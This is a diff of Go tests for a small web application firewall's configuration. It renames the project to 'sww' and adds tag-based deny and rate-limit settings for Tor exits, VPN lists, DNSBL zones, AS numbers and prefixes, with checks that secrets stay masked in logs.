// fileSource the source that is the lookup database. // fileSource the source that is the lookup database.
const ( const (
defaultLookupSource = "geojs" defaultLookupSource = "geojs"
@@ -255,12 +259,12 @@ func TestDefaults(t *testing.T) {
AttackBanDuration: 7 * 24 * time.Hour, AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000, MaxBans: 5000,
BanScopeV4Prefix: 32, BanScopeV4Prefix: 32,
StateDir: "/var/lib/smallwebwaf", StateDir: "/var/lib/sww",
StateWriteDelay: 10 * time.Second, StateWriteDelay: 10 * time.Second,
StateCounterInterval: 15 * time.Minute, StateCounterInterval: 15 * time.Minute,
MetricsToken: "", MetricsToken: "",
MetricsTopN: 50, MetricsTopN: 50,
RulesDir: "/etc/smallwebwaf/rules.d", RulesDir: "/etc/sww/rules.d",
RulesEnabled: true, RulesEnabled: true,
}) })
wantLookupSettings(t, cfg, config.Config{ wantLookupSettings(t, cfg, config.Config{
@@ -274,9 +278,13 @@ func TestDefaults(t *testing.T) {
wantNetblocks(t, cfg.AllowNets) wantNetblocks(t, cfg.AllowNets)
wantNetblocks(t, cfg.RateLimitExemptNets) wantNetblocks(t, cfg.RateLimitExemptNets)
wantNetblocks(t, cfg.DenyNets) wantNetblocks(t, cfg.DenyNets)
wantCountries(t, deniedCountries, cfg.DeniedCountries)
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries) wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries)
if len(cfg.TagLists) != 0 || len(cfg.TagDeny) != 0 || len(cfg.TagLimitPercent) != 0 {
t.Errorf("tag settings %v, %v and %v by default, want all empty",
cfg.TagLists, cfg.TagDeny, cfg.TagLimitPercent)
}
hostname, err := os.Hostname() hostname, err := os.Hostname()
if err != nil || hostname == "" || cfg.InstanceName != hostname { if err != nil || hostname == "" || cfg.InstanceName != hostname {
t.Errorf("%s is %q, want the host's name %q (%v)", instanceName, t.Errorf("%s is %q, want the host's name %q (%v)", instanceName,
@@ -327,7 +335,6 @@ func TestValuesAsSet(t *testing.T) {
rateLimitPerMinute: "60", rateLimitPerMinute: "60",
rateLimitPerHour: "600", rateLimitPerHour: "600",
rateLimitPerDay: "6000", rateLimitPerDay: "6000",
deniedCountries: "cn, RU,kp,Xk",
allowedCountries: "de", allowedCountries: "de",
banResponse: "429", banResponse: "429",
limitBanDuration: "15m", limitBanDuration: "15m",
@@ -342,7 +349,7 @@ func TestValuesAsSet(t *testing.T) {
metricsToken: token, metricsToken: token,
metricsTopN: "10", metricsTopN: "10",
rulesDir: "/srv/waf-rules", rulesDir: "/srv/waf-rules",
rulesEnabled: "false", rulesEnabled: disabled,
}) })
wantSettings(t, cfg, config.Config{ wantSettings(t, cfg, config.Config{
@@ -370,7 +377,6 @@ func TestValuesAsSet(t *testing.T) {
wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32") wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32")
wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32") wantNetblocks(t, cfg.RateLimitExemptNets, "2001:db8::/48", "10.9.8.7/32")
wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24") wantNetblocks(t, cfg.DenyNets, "198.51.100.0/24")
wantCountries(t, deniedCountries, cfg.DeniedCountries, "CN", "RU", "KP", "XK")
wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE") wantCountries(t, allowedCountries, cfg.ExclusivelyAllowedCountries, "DE")
} }
@@ -540,14 +546,14 @@ func TestCoreRuleSetSettings(t *testing.T) {
environment{ environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10", wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/", wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "32K", exclusionsFile: "/etc/smallwebwaf/crs-exclusions.conf", wafBodyLimit: "32K", exclusionsFile: "/etc/sww/crs-exclusions.conf",
}, },
config.Config{ config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10, WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350}, WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"}, WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 32 << 10, WAFBodyLimit: 32 << 10,
CoreRuleSetExclusionsFile: "/etc/smallwebwaf/crs-exclusions.conf", CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf",
}, },
}, },
{ {
@@ -591,7 +597,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
const ( const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4" notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " + setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off" "the Core Rule Set up and of sww's own, which cannot be switched off"
) )
for _, tc := range []struct{ name, value, want string }{ for _, tc := range []struct{ name, value, want string }{
@@ -630,10 +636,11 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
wafBodyLimit, "128KB", wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`, `"128KB" is not a size such as 512K, 100M or 5G, or off`,
}, },
{wafBodyLimit, "65K", `"65K" is more than 64K, the most servewaf gets of a body`}, {wafBodyLimit, "65K", `"65K" is more than 64K, the most discriminator ` +
`gets of a body`},
{ {
wafBodyLimit, "65537", wafBodyLimit, "65537",
`"65537" is more than 64K, the most servewaf gets of a body`, `"65537" is more than 64K, the most discriminator gets of a body`,
}, },
} { } {
t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Run(tc.name+"="+tc.value, func(t *testing.T) {
@@ -653,11 +660,11 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel() t.Parallel()
cfg := fromEnvironment(t, environment{ cfg := fromEnvironment(t, environment{
instanceName: "fsn1app1/gitea", instanceName: "fsn1app1/blog",
logRequestHeaders: " Accept , X-Custom", logRequestHeaders: " Accept , X-Custom",
}) })
if cfg.InstanceName != "fsn1app1/gitea" || if cfg.InstanceName != "fsn1app1/blog" ||
!slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) { !slices.Equal(cfg.LogRequestHeaders, []string{"accept", "x-custom"}) {
t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName, t.Errorf("%s is %q and %s gives %v", instanceName, cfg.InstanceName,
logRequestHeaders, cfg.LogRequestHeaders) logRequestHeaders, cfg.LogRequestHeaders)
@@ -800,7 +807,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
want := logRemoteAppName + `: is unset, and ` + instanceName + want := logRemoteAppName + `: is unset, and ` + instanceName +
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` + ` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
`without a space, such as gitea` `without a space, such as blog`
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
@@ -829,7 +836,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
}.lookupEnv) }.lookupEnv)
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` + want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as gitea` `characters without a space, such as blog`
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
@@ -859,7 +866,7 @@ func TestAlertSettingsAsSet(t *testing.T) {
const ( const (
webhook = "https://alerts.example:8443/hooks/waf?team=ops" webhook = "https://alerts.example:8443/hooks/waf?team=ops"
slack = "https://hooks.slack.example/services/T0123/B4567/abcdef" slack = "https://hooks.slack.example/services/T0123/B4567/abcdef"
ntfy = "https://ntfy.example/smallwebwaf-alerts" ntfy = "https://ntfy.example/sww-alerts"
token = "tk_0123456789abcdefghijklmnopq" token = "tk_0123456789abcdefghijklmnopq"
) )
@@ -907,17 +914,17 @@ func TestInvalidAlertSettingStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
wantStartStopped(t, []struct{ name, value string }{ wantStartStopped(t, []struct{ name, value string }{
{alertWebhookURL, "alerts.example/smallwebwaf"}, {alertWebhookURL, "alerts.example/sww"},
{alertWebhookURL, "ftp://alerts.example/"}, {alertWebhookURL, "ftp://alerts.example/"},
{alertWebhookURL, "https:///smallwebwaf"}, {alertWebhookURL, "https:///sww"},
{alertWebhookURL, "https://user:password@alerts.example/"}, {alertWebhookURL, "https://user:password@alerts.example/"},
{alertWebhookURL, "https://alerts.example/#top"}, {alertWebhookURL, "https://alerts.example/#top"},
{alertWebhookURL, "https://alerts.example:0/"}, {alertWebhookURL, "https://alerts.example:0/"},
{alertWebhookURL, "https://alerts.example:65536/"}, {alertWebhookURL, "https://alerts.example:65536/"},
{alertSlackWebhookURL, "hooks.slack.example/services/T0123"}, {alertSlackWebhookURL, "hooks.slack.example/services/T0123"},
{alertSlackWebhookURL, "https://user:password@hooks.slack.example/"}, {alertSlackWebhookURL, "https://user:password@hooks.slack.example/"},
{alertNtfyURL, "ntfy://ntfy.example/smallwebwaf-alerts"}, {alertNtfyURL, "ntfy://ntfy.example/sww-alerts"},
{alertNtfyURL, "https://ntfy.example/smallwebwaf-alerts#top"}, {alertNtfyURL, "https://ntfy.example/sww-alerts#top"},
{alertWebhookHeaders, "Authorization"}, {alertWebhookHeaders, "Authorization"},
{alertWebhookHeaders, "X Team:ops"}, {alertWebhookHeaders, "X Team:ops"},
{alertWebhookHeaders, ":ops"}, {alertWebhookHeaders, ":ops"},
@@ -997,7 +1004,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv) _, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
want := alertWebhookURL + ": is not an http or https URL without a user or " + want := alertWebhookURL + ": is not an http or https URL without a user or " +
"a fragment, such as https://alerts.example/smallwebwaf" "a fragment, such as https://alerts.example/sww"
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
@@ -1011,7 +1018,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
cfg := fromEnvironment(t, environment{ cfg := fromEnvironment(t, environment{
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef", alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", alertNtfyURL: "https://ntfy.example/sww-alerts",
alertNtfyToken: token, alertNtfyToken: token,
}) })
@@ -1030,7 +1037,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
} }
} }
for _, secret := range []string{"T0123", "smallwebwaf-alerts", token} { for _, secret := range []string{"T0123", "sww-alerts", token} {
if strings.Contains(logged, secret) { if strings.Contains(logged, secret) {
t.Errorf("%s in the settings logged: %s", secret, logged) t.Errorf("%s in the settings logged: %s", secret, logged)
} }
@@ -1061,7 +1068,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
const name = "fsn1app1\r" const name = "fsn1app1\r"
_, err := config.FromEnvironment(environment{ _, err := config.FromEnvironment(environment{
instanceName: name, alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts", instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
}.lookupEnv) }.lookupEnv)
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` + want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
@@ -1096,15 +1103,15 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
} }
} }
func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) { func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
_, err := config.FromEnvironment(environment{ _, err := config.FromEnvironment(environment{
deniedCountries: "cn,ru", tagDeny: "country=cn,country=ru",
allowedCountries: "de,RU", allowedCountries: "de,RU",
}.lookupEnv) }.lookupEnv)
if err == nil { if err == nil {
t.Fatal("ru on both country lists was accepted") t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
} }
if !strings.HasPrefix(err.Error(), allowedCountries+": ") || if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
@@ -1175,12 +1182,11 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
t.Parallel() t.Parallel()
for name, value := range map[string]string{ for name, value := range map[string]string{
deniedCountries: "kp",
allowedCountries: "de", allowedCountries: "de",
addLookupHeaders: enabled, addLookupHeaders: enabled,
tagDeny: "country=KP",
tagLimitPercent: "asn=64496:50",
asnLimitPercentURL: asnURL, asnLimitPercentURL: asnURL,
asnLimitPercent: "AS64496:50",
countryLimitPercent: "cn:25",
asnBytesPercent: "AS64496:50", asnBytesPercent: "AS64496:50",
countryBytesPercent: "cn:25", countryBytesPercent: "cn:25",
unknownLimitPercent: "99", unknownLimitPercent: "99",
@@ -1203,12 +1209,13 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
} }
// Set empty, the lists need nothing looked up, and nor does // Set empty, the lists need nothing looked up, and nor does
// SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly // SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
// threshold per AS number that is off, any other anomaly threshold, or // lookup does not give, an anomaly threshold per AS number that is off,
// a blocklist. // any other anomaly threshold, or a blocklist.
env := environment{ env := environment{
lookupSource: off, deniedCountries: "", allowedCountries: "", lookupSource: off, allowedCountries: "", asnBytesPercent: "",
asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "", tagLists: "torexit=https://example.com/tor.txt,vpn=https://example.com/vpn.txt",
tagDeny: torExitTag, tagLimitPercent: "vpn:50",
countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "", countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "",
blocklistURLs: dropURL, blocklistURLs: dropURL,
} }
@@ -1354,34 +1361,251 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
} }
} }
// torExitTag, zenTag and exploitTag are tags these tests name.
const (
torExitTag = "torexit"
zenTag = "dnsbl=zen.example"
exploitTag = "exploitsignature"
)
func TestTagSettingsAsSet(t *testing.T) {
t.Parallel()
const torURL = "https://example.com/tor.txt"
// Names and tags in either case, an AS number with leading zeros, and a
// name holding a =.
cfg := fromEnvironment(t, environment{
tagLists: "TorExit=" + torURL +
", vpn=mullvad=https://example.com/mullvad.txt",
dnsblZones: "Zen.example",
tagDeny: "TorExit, Country=kp, asn=014061",
tagLimitPercent: "vpn=mullvad :50, asn=014061:25, COUNTRY=cn:1, dnsbl=zen.example:99",
})
wantLists := []config.TagList{
{Name: torExitTag, URL: torURL},
{Name: "vpn=mullvad", URL: "https://example.com/mullvad.txt"},
}
if !slices.Equal(cfg.TagLists, wantLists) {
t.Errorf("%s gave %+v, want %+v", tagLists, cfg.TagLists, wantLists)
}
wantDeny := []string{torExitTag, "country=KP", "asn=14061"}
if !slices.Equal(cfg.TagDeny, wantDeny) {
t.Errorf("%s gave %v, want %v", tagDeny, cfg.TagDeny, wantDeny)
}
wantPercents := map[string]int64{
"vpn=mullvad": 50, "asn=14061": 25, "country=CN": 1, zenTag: 99,
}
if !maps.Equal(cfg.TagLimitPercent, wantPercents) {
t.Errorf("%s gave %v, want %v", tagLimitPercent, cfg.TagLimitPercent, wantPercents)
}
}
func TestRouteWatchURLAndPrefixTags(t *testing.T) {
t.Parallel()
const rw = "https://routewatch.example"
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
t.Errorf("default %s is %q, want unset", routeWatchURL, cfg.RouteWatchURL)
}
cfg := fromEnvironment(t, environment{
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
tagLimitPercent: "prefix=192.0.2.0/24:50",
})
wantDeny := []string{"prefix=2001:db8::/32"}
if cfg.RouteWatchURL != rw || !slices.Equal(cfg.TagDeny, wantDeny) ||
cfg.TagLimitPercent["prefix=192.0.2.0/24"] != 50 {
t.Errorf("gave %q, %v, %v", cfg.RouteWatchURL, cfg.TagDeny, cfg.TagLimitPercent)
}
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
fromEnvironment(t, environment{
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
})
for _, stopped := range []struct {
env environment
name string
}{
{environment{routeWatchURL: "ftp://routewatch.example"}, routeWatchURL},
{environment{routeWatchURL: "routewatch.example"}, routeWatchURL},
{environment{tagDeny: "prefix=192.0.2.0/24"}, tagDeny},
{environment{routeWatchURL: rw, tagDeny: "prefix=nowhere"}, tagDeny},
{environment{routeWatchURL: rw, tagDeny: "prefix=192.0.2.5/24"}, tagDeny},
{
environment{routeWatchURL: rw, tagLimitPercent: "prefix=192.0.2.0/33:50"},
tagLimitPercent,
},
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
} {
_, err := config.FromEnvironment(stopped.env.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
}
}
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
_, err := config.FromEnvironment(badURL.lookupEnv)
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
"without a user or a fragment, such as https://routewatch.example"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
t.Parallel()
const (
list = "torexit=https://example.com/tor.txt"
key = "abc123"
zone = key + ".xbl.dq.spamhaus.net"
masked = "********.xbl.dq.spamhaus.net"
)
for _, tc := range []struct {
name string
env environment
want string // "" is accepted
}{
{"a list's name", environment{tagLists: list, tagDeny: torExitTag}, ""},
{
"a mistyped list's name", environment{tagLists: list, tagDeny: "torexti"},
`"torexti"`,
},
{"a masked zone", environment{dnsblZones: zone, tagDeny: "dnsbl=" + masked}, ""},
{
"a zone with its key", environment{dnsblZones: zone, tagDeny: "dnsbl=" + zone},
masked,
},
{"another zone", environment{dnsblZones: zone, tagDeny: zenTag}, zenTag},
{
"abuseipdb with a key",
environment{abuseIPDBKey: "k", tagLimitPercent: "abuseipdb:50"}, "",
},
{"crowdsec, though a list has its name", environment{
tagLists: "crowdsec=https://example.com/c.txt", tagDeny: "crowdsec",
}, `"crowdsec" cannot be used`},
{exploitTag, environment{tagDeny: exploitTag}, ""},
{
exploitTag + " with rule files off",
environment{tagDeny: exploitTag, rulesEnabled: disabled}, "",
},
{
exploitTag + " with the Core Rule Set off",
environment{tagDeny: exploitTag, wafMode: off}, "",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.lookupEnv)
switch {
case tc.want == "" && err != nil:
t.Errorf("error %v, want none", err)
case tc.want != "" && (err == nil || !strings.Contains(err.Error(), tc.want)):
t.Errorf("error %v, want one holding %s", err, tc.want)
case err != nil && strings.Contains(err.Error(), key):
t.Errorf("error %v shows the zone's key", err)
}
})
}
}
func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
t.Parallel()
const (
tag = "dnsbl=" + spamhaus
emptyItem = "has an empty item in its list"
twice = `"` + spamhausMasked + `" is listed twice`
)
for _, tc := range []struct{ name, value, want string }{
{tagDeny, tag + "," + tag, twice},
{tagDeny, tag + ",,", emptyItem},
{
tagLimitPercent, tag,
`"` + spamhausMasked + `" is not a tag, : and a percentage, ` +
"such as vpn:50 or asn=14061:25",
},
{
tagLimitPercent, "50:" + tag,
`"` + spamhausMasked + `" is not a percentage from 1 to 99`,
},
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
{tagLimitPercent, tag + ":50,,", emptyItem},
} {
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("%s=%s gave the error %v, want %s", tc.name, tc.value, err, want)
}
}
}
func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
t.Parallel()
const lapi = "http://172.17.0.1:8080"
for _, tc := range []struct {
name, listURL string
env environment
}{
{"a blocklist", dropURL, environment{blocklistURLs: dropURL}},
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
{
"the CrowdSec decision list", lapi + "/v1/decisions",
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
tc.env[tagLists] = "dup=" + tc.listURL
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestBiasedThresholdsAsSet(t *testing.T) { func TestBiasedThresholdsAsSet(t *testing.T) {
t.Parallel() t.Parallel()
cfg := fromEnvironment(t, environment{}) cfg := fromEnvironment(t, environment{})
if len(cfg.ASNLimitPercent) != 0 || len(cfg.CountryLimitPercent) != 0 || if len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
cfg.UnknownLimitPercent != 100 { cfg.UnknownLimitPercent != 100 {
t.Errorf("biased thresholds %v, %v, %v, %v and %d by default, "+ t.Errorf("biased thresholds %v, %v and %d by default, "+
"want four empty lists and 100", cfg.ASNLimitPercent, cfg.CountryLimitPercent, "want two empty lists and 100",
cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent) cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent)
} }
// AS numbers and countries in either case, an AS number with leading // AS numbers and countries in either case, an AS number with leading
// zeros, 0 and 100. // zeros, 0 and 100.
cfg = fromEnvironment(t, environment{ cfg = fromEnvironment(t, environment{
asnLimitPercent: "AS14061:50, as16276:0,AS045102:100",
countryLimitPercent: "cn:25,RU:50",
asnBytesPercent: "as16276:75", asnBytesPercent: "as16276:75",
countryBytesPercent: "ru:10", countryBytesPercent: "ru:10",
unknownLimitPercent: "0", unknownLimitPercent: "0",
}) })
for name, tc := range map[string]struct{ got, want map[string]int64 }{ for name, tc := range map[string]struct{ got, want map[string]int64 }{
asnLimitPercent: {
cfg.ASNLimitPercent,
map[string]int64{"AS14061": 50, "AS16276": 0, "AS45102": 100},
},
countryLimitPercent: {cfg.CountryLimitPercent, map[string]int64{"CN": 25, "RU": 50}},
asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}}, asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}},
countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}}, countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}},
} { } {
@@ -1405,16 +1629,16 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
) )
for _, tc := range []struct{ name, value, want string }{ for _, tc := range []struct{ name, value, want string }{
{asnLimitPercent, "14061:50", `"14061"` + notASN}, {asnBytesPercent, "14061:50", `"14061"` + notASN},
{asnLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN}, {asnBytesPercent, "AS4294967296:50", `"AS4294967296"` + notASN},
{asnLimitPercent, "AS14061", `"AS14061"` + notItem}, {asnBytesPercent, "AS14061", `"AS14061"` + notItem},
{asnLimitPercent, "AS14061:101", `"101"` + notPercent}, {asnBytesPercent, "AS14061:101", `"101"` + notPercent},
{asnLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`}, {asnBytesPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`},
{ {
countryLimitPercent, "nk:25", countryBytesPercent, "nk:25",
`"nk" is not a two-letter country code such as de or kp`, `"nk" is not a two-letter country code such as de or kp`,
}, },
{countryLimitPercent, "cn:25,CN:50", `"CN" is listed twice`}, {countryBytesPercent, "cn:25,CN:50", `"CN" is listed twice`},
{asnBytesPercent, "AS14061:-1", `"-1"` + notPercent}, {asnBytesPercent, "AS14061:-1", `"-1"` + notPercent},
{countryBytesPercent, "cn:50%", `"50%"` + notPercent}, {countryBytesPercent, "cn:50%", `"50%"` + notPercent},
{unknownLimitPercent, "101", `"101"` + notPercent}, {unknownLimitPercent, "101", `"101"` + notPercent},
@@ -1441,7 +1665,7 @@ const (
asnURL = "https://lists.example/asn.txt" asnURL = "https://lists.example/asn.txt"
) )
// The actions of SWWAF_BLOCKLIST_ACTION, as Config gives them. // The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
const ( const (
actionDeny = "deny" actionDeny = "deny"
actionLimit = "limit" actionLimit = "limit"
@@ -1537,7 +1761,7 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL, blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
}.lookupEnv) }.lookupEnv)
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWWAF_BLOCKLIST_URLS too` want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
if err == nil || err.Error() != want { if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want) t.Errorf("error %v, want %s", err, want)
} }
@@ -1840,7 +2064,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
notLAPIURL = " is not an http or https URL without a user or a fragment, " + notLAPIURL = " is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080" "such as http://172.17.0.1:8080"
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` + anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too` `SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
) )
for _, tc := range []struct { for _, tc := range []struct {
@@ -2002,23 +2226,37 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""}, {lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""},
{lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"}, {lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"},
{addLookupHeaders, "yes"}, {addLookupHeaders, "yes"},
{deniedCountries, "nk"}, {allowedCountries, "nk"},
{deniedCountries, "kp,,ir"}, {allowedCountries, "kp,,ir"},
{deniedCountries, "prk"}, {allowedCountries, "prk"},
{deniedCountries, "408"}, {allowedCountries, "408"},
{deniedCountries, "k"}, {allowedCountries, "k"},
{deniedCountries, "eu"}, {allowedCountries, "eu"},
{deniedCountries, "un"}, {allowedCountries, "un"},
{deniedCountries, "su"}, {allowedCountries, "su"},
{allowedCountries, "ac"}, {allowedCountries, "ac"},
{allowedCountries, "uk"}, {allowedCountries, "uk"},
{allowedCountries, "zz"}, {allowedCountries, "zz"},
{allowedCountries, "de,germany"}, {allowedCountries, "de,germany"},
{asnLimitPercent, "AS14061:50,,AS16276:50"}, {asnLimitPercent, "ASX:50"}, {asnBytesPercent, "AS14061:50,,AS16276:50"}, {asnBytesPercent, "ASX:50"},
{asnLimitPercent, "AS14061:"}, {asnLimitPercent, "AS14061 :50"}, {asnBytesPercent, "AS14061:"}, {asnBytesPercent, "AS14061 :50"},
{asnLimitPercent, "AS14061:1.5"}, {asnLimitPercent, "AS-1:50"}, {asnBytesPercent, "AS14061:1.5"}, {asnBytesPercent, "AS-1:50"},
{countryLimitPercent, "cn"}, {countryLimitPercent, "cn:"}, {countryBytesPercent, "cn"}, {countryBytesPercent, "cn:"},
{countryLimitPercent, "cn:25:50"}, {countryLimitPercent, "china:25"}, {countryBytesPercent, "cn:25:50"}, {countryBytesPercent, "china:25"},
{tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"},
{tagDeny, "asn="}, {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"},
{tagDeny, zenTag}, {tagDeny, "abuseipdb"}, {tagDeny, "crowdsec"},
{tagLimitPercent, "torexti:50"}, {tagLimitPercent, "dnsbl=zen.example:50"},
{tagLimitPercent, "abuseipdb:50"}, {tagLimitPercent, "crowdsec:50"},
{tagLimitPercent, "vpn :50"}, {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"},
{tagLimitPercent, "vpn:"}, {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"},
{tagLimitPercent, "vpn:1.5"}, {tagLimitPercent, "vpn:50,VPN:25"},
{tagLimitPercent, "exploitsignature:50"}, {tagLimitPercent, "asn=abc:50"},
